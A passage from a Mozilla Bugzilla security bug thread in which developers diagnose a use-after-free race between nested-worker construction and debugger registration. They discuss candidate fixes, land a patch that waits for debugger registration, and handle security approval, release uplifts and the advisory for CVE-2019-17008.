In general the solution for situations like this is to give the runnables in question ThreadSafeWorkerRef instances (which attach to a StrongWorkerRef). The complexity here is that WorkerRefs are explicitly designed so that they are created on the worker thread itself, but WorkerPrivate::Constructor is running on the parent of the worker.

The assertion-book-keeping for this comes from NS_DECL_OWNINGTHREAD / nsAutoOwningThread. Because of how it's implemented, this makes it hard to hack a state update to a pre-emptively created StrongWorkerRef. (It saves off the current thread at creation time into a private mThread field which is then used for all of the NS_ASSERT_OWNINGTHREAD checks.)

The core of a potential solution might be:

  • Create a subclass of ThreadSafeWorkerRef called something like CreationTimeThreadSafeWorkerRef that exists for this exact case. It is ThreadSafeWorkerRef for the code that is creating the worker before it exists.
  • CTTSWR (CreationTimeThreadSafeWorkerRef) would be initialized without its RefPtr<StrongWorkerRef> mRef being initialized. It would strongly assert that the WorkerPrivate's mParentStatus is Pending. (WorkerPrivate::Start changes it to Running in RuntimeService::ScheduleWorker).
  • WorkerPrivate would have a private field RefPtr<CTTSWR> mCreationTimeRef. Because the CTTSWR's are threadsafe refcounted, there really only ever needs to be just the one.
  • WorkerThreadPrimaryRunnable::Run would call a method on mCreationTimeRef that causes it to create StrongWorkerRef instances. It would then clear mCreationTimeRef because no one else should use it (and it's literally a cyclic reference). It would likely make sense to do this right after the assert at https://searchfox.org/mozilla-central/rev/59de675101da711520c0bb6e34a1ea2372e7ddbb/dom/workers/RuntimeService.cpp#2297. My location rationale there is that it's after the SetThreadHelper has called WorkerPrivate::SetWorkerPrivateInWorkerThread and set and configured mThread. (Note that the method also dispatches the mPreStartRunnables, but dispatch just means to enqueue them, they don't get run. We're just transferring them to the actual event target that will process them.)
  • We create the CTTSWR prior to the call to RuntimeService::RegisterWorker because that's what calls WorkerPrivate::Start. So somewhere just above https://searchfox.org/mozilla-central/rev/59de675101da711520c0bb6e34a1ea2372e7ddbb/dom/workers/WorkerPrivate.cpp#2362 probably. We then hand that to the call to WorkerPrivate::EnableDebugger to use if needed.
  • Add a diagnostic assertion to WorkerPrivate::ClearSelfAndParentEventTargetRef that the mCreationTimeRef is empty.

The one major edge-case to be concerned about is the case where the worker is told to terminate before it ever gets a chance to be scheduled to run on a thread or if we experience resource exhaustion that causes us to be unable to create a thread. In that case, the CTTSWR is providing us with zero guarantees about WorkerPrivate::mSelfRef being maintained. The call to WorkerPrivate::ScheduleDeletion(WorkerPrivate::WorkerNeverRan) at https://searchfox.org/mozilla-central/rev/59de675101da711520c0bb6e34a1ea2372e7ddbb/dom/workers/WorkerPrivate.cpp#1598 will schedule the (TopLevel)WorkerFinishedRunnable which will clear the self-reference.

I'm not quite as sure what to do about that situation to keep things clean. The main options would seem to be:

In both cases, we'd of course need to drop the mCreationTimeRef reference from WorkerPrivate around the time WorkerPrivate::ScheduleDeletion(WorkerPrivate::WorkerNeverRan) is invoked so that we don't have a cycle that ends up leaking the WorkerPrivate.

This is a simple thread interleaving problem. UAF can only happen on the nested worker case.

For top-level worker, instead of creating a RegisterDebuggerMainThreadRunnable, calling RegisterWorkerDebuggerMainThread directly, and debugger registration is completed before exiting WorkerPrivatre::Constructor and WorkerThreadPrimaryRunnable::Run. Therefore we never get the UAF on top-level worker case.

However, for nested workers, since the parent thread is not the main thread, WorkerPrivate::EnableDebugger() finally creating RegisterDebuggerMainThreadRunnable then dispatching it to main thread to register debugger. If there is no listeners on WorkerDebuggerManager, the parent thread is not blocked, and WorkerPrivate::Constructor continues the construction.

https://searchfox.org/mozilla-esr68/source/dom/workers/WorkerDebuggerManager.cpp#247

That means WorkerThreadPrimaryRunnable::Run could be executed before RegisterDebuggerMainThreadRunnable::Run. For the situation, reload() could make WorkerThreadPrimaryRunnable::Run() exit the DoRunLoop immediately and call WorkerPrivate::ScheduleDeleteion. So if RegisterDebuggerMainThreadRunnable::Run is executed after that, we hit the use after free case.

To not change the WorkerPrivate lifecycle, followings could be the considered solutions.

  1. Always call aWorkerPrivate->WaitForIsDebuggerRegistered(true) in the case, not only for the case if we have listeners on WorkerDebuggerManager.
    This simplest solution makes the WorkerPrivate construction behavior is the same with the top-level workers, but it introduces the overhead for the debugger is not using.
    https://searchfox.org/mozilla-esr68/source/dom/workers/WorkerDebuggerManager.cpp#234

  2. Cancel RegisterDebuggerMainThreadRunnable() if it is not executed when calling WorkerPrivate::ScheduleDeleteion
    This solution is much more complicated for implementation. We need to remember the RegisterDebuggerMainThreadRunnable() in some where, probably in WorkerPrivate, and check is it executed when calling WorkerPrivate::ScheduleDeleteion() and cancel it at the mean time do not execute WorkerPrivate::DisableDebugger. Of course, I think Andrew's suggestion in comment 21 is also doable. I think it is also another way to cancel RegisterDebuggerMainThreadRunnable() by checking the WorkerPrivate status by itself.

Flags: needinfo?(bugmail)

During constructing the WorkerPrivate for nested workers, WorkerPrivate::EnableDebugger eventually creates RegisterDebuggerMainThreadRunnable to register worker debugger on the main thread. However, if WorkerDebuggerManager has no listeners, which means no one using the debugger, the WorkerPrivate construction will not be blocked, then the worker will start to wait for events finally.
A situation could happen, the worker is finishing/terminating by reloading or other reasons, but the main thread still doesn't execute the dispatched RegisterDebuggerMainThreadRunnable. And UAF occurs when running the runnable after killing the worker.

This patch detecting if the dispatched RegisterDebuggerMainThreadRunnable is executed or not while finishing the worker. If it is not executed, the worker finishing will be blocked until the runnable is completed.

This patch is not risky since WorkerPrivate::DisableDebug must be called when finishing the worker in the original code. And WorkerPrivate::DisableDebug also blocks the worker finishing.

Eden, did you mean to request sec-approval?
And, is this something that might be OK for uplift to release 70?

Flags: needinfo?(tom)
Flags: needinfo?(echuang)
Flags: needinfo?(dveditz)

Comment on attachment 9107143 [details]
Missing call to WaitForIsDebuggerRegistered

Security Approval Request

  • How easily could an exploit be constructed based on the patch?: Not sure. But I think it might be not easy to realize the problem from the patch.
  • Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Unknown
  • Which older supported branches are affected by this flaw?: 68
  • If not all supported branches, which bug introduced the flaw?: None
  • Do you have backports for the affected branches?: Yes
  • If not, how different, hard to create, and risky will they be?:
  • How likely is this patch to cause regressions; how much testing does it need?: I think the patch should not cause regressions easy.
Flags: needinfo?(echuang)
Attachment #9107143 - Flags: sec-approval?

Liz, yes, I think it is OK for uplift to release 70 and esr68.

Flags: needinfo?(bugmail)

Comment on attachment 9107143 [details]
Missing call to WaitForIsDebuggerRegistered

I'd like to do the following:

  1. Move the comment from the commit message. We have it in Comment 23 for historical details. Let's make the commit message something like "Missing call to WaitForIsDebuggerRegistered"
  2. In the comment in the source code, remove the mention of 'nested workers'
  3. Let's land this later in the cycle. Looks like soft code freeze is 11/25, so let's land it 11/14 or 11/15.
Flags: needinfo?(tom)
Flags: needinfo?(dveditz)
Attachment #9107143 - Flags: sec-approval? → sec-approval+

If we want to get it into 70.0.2, that's possible, but I'll make sure the timing will work with landing on 11/14 or I'll come back and ask to land it a bit sooner.

As of today we don't have a driver for 70.0.2 any more. So, we can probably target this for 71 as planned in comment 28.
Meanwhile, I'll keep tracking this in case another driver comes up for 70.0.2.

Attachment #9107143 - Attachment description: call WaitForIsDebuggerRegistered(true) in WorkerPrivate::DisableDebugger for the nested worker → Missing call to WaitForIsDebuggerRegistered

https://hg.mozilla.org/integration/autoland/rev/cde2ca39e32b7e344ebd4f6eac900c7ac1dee26a

Please use the tag 'CheckinNeeded' in Phabricator in the future - the workflow with the 'checkin-needed' keyword is not supported anymore.

Group: dom-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 5 years ago
Resolution: --- → FIXED
Target Milestone: --- → mozilla72

(In reply to Sebastian Hengst [:aryx] (needinfo on intermittent or backout) from comment #31)

https://hg.mozilla.org/integration/autoland/rev/cde2ca39e32b7e344ebd4f6eac900c7ac1dee26a

Please use the tag 'CheckinNeeded' in Phabricator in the future - the workflow with the 'checkin-needed' keyword is not supported anymore.

Sorry, didn't notice that. Will use tag 'CheckinNeeded' in Phabricator.

Hello Liz

Should we just land the patch on beta and esr68?

Flags: needinfo?(lhenry)

Yes please

Flags: needinfo?(lhenry) → needinfo?(echuang)

Can you fill out the approval request on the patch though?

Comment on attachment 9107143 [details]
Missing call to WaitForIsDebuggerRegistered

Beta/Release Uplift Approval Request

  • User impact if declined: Pages use DedicatedWorkers could be crashed.
  • Is this code covered by automated tests?: No
  • Has the fix been verified in Nightly?: Yes
  • Needs manual test from QE?: No
  • If yes, steps to reproduce:
  • List of other uplifts needed: None
  • Risk to taking this patch: Low
  • Why is the change risky/not risky? (and alternatives if risky): Since the change just guarantees the worker debugger behavior is completed before releasing the worker, it doesn't make any unexpected behavior.
  • String changes made/needed: No

ESR Uplift Approval Request

  • If this is not a sec:{high,crit} bug, please state case for ESR consideration:
  • User impact if declined: Pages use DedicatedWorkers could be crashed.
  • Fix Landed on Version: 72
  • Risk to taking this patch: Low
  • Why is the change risky/not risky? (and alternatives if risky): Since the change just guarantees the worker debugger behavior is completed before releasing the worker, it doesn't make any unexpected behavior.
  • String or UUID changes made by this patch: No
Attachment #9107143 - Flags: approval-mozilla-esr68?
Attachment #9107143 - Flags: approval-mozilla-beta?
Flags: sec-bounty? → sec-bounty+

Comment on attachment 9107143 [details]
Missing call to WaitForIsDebuggerRegistered

Crash fix, OK for uplift for beta 12, esr 68.3.

Attachment #9107143 - Flags: approval-mozilla-esr68?
Attachment #9107143 - Flags: approval-mozilla-esr68+
Attachment #9107143 - Flags: approval-mozilla-beta?
Attachment #9107143 - Flags: approval-mozilla-beta+
Whiteboard: [adv-main71+]
Attached file advisory.txt (obsolete) —
Whiteboard: [adv-main71+] → [adv-main71+][adv-esr68.3+]
Attached file advisory.txt
Attachment #9111772 - Attachment is obsolete: true
Alias: CVE-2019-17008
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: